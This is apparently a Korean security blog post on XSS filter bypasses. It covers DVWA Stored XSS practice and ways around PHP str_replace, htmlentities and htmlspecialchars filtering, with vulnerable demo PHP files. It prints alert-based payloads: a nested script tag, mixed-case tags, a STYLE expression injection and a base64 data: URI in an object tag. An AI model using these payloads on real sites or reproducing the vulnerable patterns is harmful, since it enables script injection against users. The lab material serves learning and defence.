본문 바로가기

30./31. Web

[XSS] PHP htmlspecialchars 우회

[XSS] PHP htmlspecialchars 우회


PHP htmlspecialchars 함수 우회 가능성을 확인


Damn Vulnerable Web App(DVWA)에서 Stored XSS를 풀고 있는데 low와 medium의 경우 쉽게 풀리지만 high의 경우 htmlspecialchars()함수를 사용하기 때문에 쉽게 문제 풀이를 진행하지 못하고있다.


Damn Vulnerable Web App(DVWA) : Stored XSS



# Stored XSS Low 


<script>alert(1)</script>





# Stored XSS medium

message의 경우 htmlspecialchars() 함수를 사용하여 스크립트 문자열이 치환되어 사용되지 않는다. name의 경우 htmlspecialchars()함수를 사용하지 않고 <script>만 공백으로 치환하므로 공격을 시도한다.


name의 경우 maxlength가 10이므로 해당 제한을 개발자 도구로 제거하거나 중간프록시 툴을 이용하여 우회하여 스크립트를 삽입한다. 


<scr<script>ipt>alert(2)</script>




# Stored XSS high


포기...



htmlspecialchars() 함수


PHP의 htmlspecialchars() 함수는 웹 페이지에서 html로 인식되는 태그 문자열을 변환해주는 함수이다. 예를 들어 "<"(less than) 와 ">"(greater than)와 같은 미리 정의된 문자열을 HTML entities로 변경해준다.


htmlspecialchars.php 소스

<?php

$str = "This is some <b>bold</b> text.";

echo htmlspecialchars($str);

?> 


View Source(페이지 소스 확인)

<!DOCTYPE html>

<html>

<body>

This is some &lt;b&gt;bold&lt;/b&gt; text.

</body>

</html>


웹 브라우저에서 확인


 This is some <b>bold</b> text.


정의 및 사용


htmlspecialchars() 함수는 미리 정의된 문자들을 HTML entities로 변경해준다.


미리 정의된 문자 :

  • & (ampersand) becomes &amp;
  • " (double quote) becomes &quot;
  • ' (single quote) becomes &#039;
  • < (less than) becomes &lt;
  • > (greater than) becomes &gt;


문법 :


 htmlspecialchars(string,flags,character-set,double_encode)


 참조 : w3schools : http://www.w3schools.com/php/func_string_htmlspecialchars.asp





htmlspecialchars() 함수 XSS 우회




# Str_replace 우회

<?php

echo "<html><br>";

echo 'Your name is ' . str_replace('script', null, $_GET["name"]);

 /*

xss1.php?name=admin

Output: "Your name is admin"

*/

echo "<br></html>";

?>

많은 보안 가이드를 보면 <script>와 같은 XSS발생 가능한 모든 html 테그를 replace하라고 한다. 하지만 이 방법은 다른 보안 취약점을 발생할 가성이 높으며, 여전히 보안 홀이 크다.


xss1.php 소스코드


xxs1.php?name=oneandonlyme


xxs1.php?name=<script>alert("XSS");</script>

script 필터링을 확인 가능하다.


xss1.php?name=<ScRiPt>alert(String.fromCharCode(88,83,83))</ScRiPt>




#htmlentities 우회

<?php

echo "<img alt='Profile' src='".htmlentities($_GET["img"])."' />";

/*

page.php?img=photo-1.jpg

Output: <img alt='Profile' src='photo-1.jpg' />

*/

?>

htmlentities 함수도 html 테그를 자동으로 변환하여 준다.


xss2.php 소스코드


원래 소스코드는 경로를 받아와서 호출하는 웹 페이지입니다.


xss2.php?img=.%BF%27 STYLE=xss:expression(alert(1));

STYLE 테그를 이용하는 XSS가 발생 가능하다.



#  htmlspecialchars 우회

<?php

echo "<html><br>";

echo '<object data="'.htmlspecialchars($_GET['img']).'"></object>';

/*

xss3.php?img=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=

Output: <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4="></object>

*/

echo "<br></html>";

?>


xss3.php 소스코드



xss3.php?img=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=

htmlspecialchars()  함수를 사용하여도 인코딩된 입력값은 변환이 불가능하다. 그러므로 XSS가 발생함을 확인 가능하다.


XSS 취약점에 대해서 PHP 소스 보안대책으로 htmlspecialchars() 사용을 권장하지만 잘못된 코딩방식으로 안전한 함수를 취약하게 사용 할 수 있다. 


 출처 :  WIREMASK : http://wiremask.eu/how-to-bypass-xss-filters/



xss1.php


xss2.php


xss3.php


'30. > 31. Web' 카테고리의 다른 글

[Burp] Extender - burp Extender 기능 활용  (0) 2018.04.16
[Burp] Extender - Burp Suite JSBeautifier  (0) 2018.04.16
Obfuscated code  (0) 2014.10.10
[정보수집] Google Hacking  (1) 2014.07.01
[XSS] Xenotix XSS Exploit Framework  (0) 2014.06.27